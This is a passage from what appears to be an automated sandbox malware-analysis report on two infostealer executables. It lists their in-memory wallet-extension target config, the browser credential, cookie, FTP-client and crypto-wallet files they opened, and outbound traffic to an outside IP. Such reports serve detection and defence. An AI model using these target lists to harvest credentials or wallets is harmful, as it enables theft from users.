Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%
Source: 915c60055b.exe, 00000008.00000002.3039808313.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%
Source: e0c841723d.exe, 0000000D.00000002.3288177248.0000000003B40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: cryptoKeyStore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.5:49906 -> 185.121.15.192:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
